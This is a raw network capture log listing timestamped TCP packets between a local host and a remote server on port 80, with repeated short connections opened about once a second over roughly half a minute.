Oct 24, 2024 08:46:31.856784105 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:31.856885910 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:31.862466097 CEST	80	49198	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:31.862529039 CEST	49198	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:32.181785107 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:32.187254906 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:32.187328100 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:32.189398050 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:32.194778919 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:32.194843054 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:32.200170994 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:33.151381016 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:33.155234098 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.161034107 CEST	80	49199	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:33.161178112 CEST	49199	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.615720987 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.621499062 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:33.621623039 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.623204947 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.628644943 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:33.628717899 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:33.634089947 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:34.578197956 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:34.578341961 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.584074020 CEST	80	49200	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:34.584165096 CEST	49200	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.720901966 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.726304054 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:34.726366997 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.727951050 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.733335018 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:34.733383894 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:34.738698006 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:35.676492929 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:35.676630974 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.682117939 CEST	80	49201	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:35.682177067 CEST	49201	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.819751024 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.825083971 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:35.825181007 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.826720953 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.832043886 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:35.832084894 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:35.837377071 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:36.783468008 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:36.783618927 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:36.789326906 CEST	80	49202	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:36.789391041 CEST	49202	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.001297951 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.007281065 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:37.007349014 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.008929014 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.014636040 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:37.014681101 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.019958973 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:37.966773033 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:37.966886044 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:37.972584009 CEST	80	49203	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:37.972656012 CEST	49203	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:38.136828899 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:38.142205954 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:38.142267942 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:38.143923044 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:38.149264097 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:38.149338007 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:38.154654980 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:39.114550114 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:39.114628077 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.120439053 CEST	80	49204	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:39.120490074 CEST	49204	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.247107029 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.252597094 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:39.252695084 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.254206896 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.259654045 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:39.259708881 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:39.265325069 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:40.223529100 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:40.223655939 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.229357958 CEST	80	49205	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:40.229417086 CEST	49205	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.365623951 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.371021032 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:40.371085882 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.373372078 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.378693104 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:40.378742933 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:40.384004116 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:41.328737974 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:41.328860044 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.334497929 CEST	80	49206	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:41.334559917 CEST	49206	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.466989040 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.472376108 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:41.472455978 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.474076033 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.479435921 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:41.479513884 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:41.484924078 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:42.424623966 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:42.424772024 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.430537939 CEST	80	49207	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:42.430608034 CEST	49207	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.551435947 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.557275057 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:42.557347059 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.558991909 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.564445972 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:42.564512968 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:42.569938898 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:43.523212910 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:43.523330927 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.529968977 CEST	80	49208	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:43.530042887 CEST	49208	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.666116953 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.672147989 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:43.672277927 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.673996925 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.679644108 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:43.679805994 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:43.685148001 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:44.625430107 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:44.664053917 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:44.670151949 CEST	80	49209	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:44.670277119 CEST	49209	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.021826982 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.027908087 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:45.027977943 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.029531956 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.035085917 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:45.035156965 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.040831089 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:45.984025002 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:45.984133005 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:45.990113020 CEST	80	49210	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:45.990180969 CEST	49210	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:46.127777100 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:46.133447886 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:46.133534908 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:46.135194063 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:46.148000002 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:46.148099899 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:46.153448105 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:47.107070923 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:47.107551098 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.113296986 CEST	80	49211	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:47.113456964 CEST	49211	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.865812063 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.871212959 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:47.871272087 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.872925043 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.878242970 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:47.878298044 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:47.883622885 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:48.810715914 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:48.810873032 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:48.816601038 CEST	80	49212	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:48.816781044 CEST	49212	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:49.156243086 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:49.161844015 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:49.161926031 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:49.163932085 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:49.169300079 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:49.169375896 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:49.174772978 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:50.129101992 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:50.129192114 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.135742903 CEST	80	49213	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:50.135828018 CEST	49213	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.261117935 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.266526937 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:50.266709089 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.268229008 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.273536921 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:50.273713112 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:50.279063940 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:51.214497089 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:51.214726925 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.220335960 CEST	80	49214	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:51.220412016 CEST	49214	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.354290009 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.361233950 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:51.361299038 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.362858057 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.369215012 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:51.369260073 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:51.374972105 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:52.324593067 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:52.324682951 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.330270052 CEST	80	49215	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:52.330420971 CEST	49215	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.472965002 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.478333950 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:52.478519917 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.480187893 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.485474110 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:52.485585928 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:52.490879059 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:53.452478886 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:53.452603102 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.458287001 CEST	80	49216	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:53.458343983 CEST	49216	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.593579054 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.598999977 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:53.599112988 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.618575096 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.624069929 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:53.624164104 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:53.629844904 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:54.556412935 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:54.556519032 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.562434912 CEST	80	49217	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:54.562498093 CEST	49217	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.741624117 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.747035980 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:54.747195005 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.749501944 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.754887104 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:54.754980087 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:54.760375977 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:55.732450962 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:55.732585907 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.739134073 CEST	80	49218	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:55.739214897 CEST	49218	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.923013926 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.928582907 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:55.928945065 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.930401087 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.935770035 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:55.935933113 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:55.941457033 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:56.915488958 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:56.915668011 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:56.921371937 CEST	80	49219	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:56.921456099 CEST	49219	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:57.090142012 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:57.095454931 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:57.095716953 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:57.097372055 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:57.102638006 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:57.102699041 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:57.107988119 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:58.072510958 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:58.072935104 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.078596115 CEST	80	49220	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:58.078651905 CEST	49220	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.227983952 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.233417034 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:58.233995914 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.236053944 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.242244005 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:58.242856979 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:58.249424934 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:59.198889971 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:59.198997021 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.204710007 CEST	80	49221	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:59.204762936 CEST	49221	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.341981888 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.347345114 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:59.347414017 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.349052906 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.354331017 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 24, 2024 08:46:59.354585886 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:46:59.359846115 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:00.299822092 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:00.299933910 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.305973053 CEST	80	49222	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:00.306447029 CEST	49222	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.500129938 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.505495071 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:00.505621910 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.508701086 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.514007092 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:00.514142036 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:00.519437075 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:01.466989040 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:01.467081070 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:01.472717047 CEST	80	49223	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:01.472781897 CEST	49223	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:02.957788944 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:02.963093996 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:02.963155985 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:02.965466022 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:02.970755100 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:02.970813990 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:02.976102114 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:03.911752939 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:03.911968946 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:03.917654991 CEST	80	49224	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:03.917722940 CEST	49224	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:04.058363914 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:04.063751936 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:04.063851118 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:04.066261053 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:04.071671963 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:04.071738005 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:04.077090979 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:05.015141010 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:05.015239000 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.022619963 CEST	80	49225	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:05.022674084 CEST	49225	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.158572912 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.163901091 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:05.163988113 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.165612936 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.170933962 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:05.171077013 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:05.176516056 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:06.127392054 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:06.127566099 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.133236885 CEST	80	49226	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:06.133332014 CEST	49226	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.274583101 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.280030012 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:06.280112028 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.282418966 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.288078070 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:06.288132906 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:06.293468952 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:07.235351086 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:07.235601902 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.249824047 CEST	80	49227	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:07.250015020 CEST	49227	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.380075932 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.385550976 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:07.385627985 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.387917042 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.393163919 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:07.393228054 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:07.398533106 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:08.350806952 CEST	80	49228	94.156.177.220	192.168.2.22
Oct 24, 2024 08:47:08.350903034 CEST	49228	80	192.168.2.22	94.156.177.220
Oct 24, 2024 08:47:08.358221054 CEST	80	49228	94.156.177.220	192.168.2.22
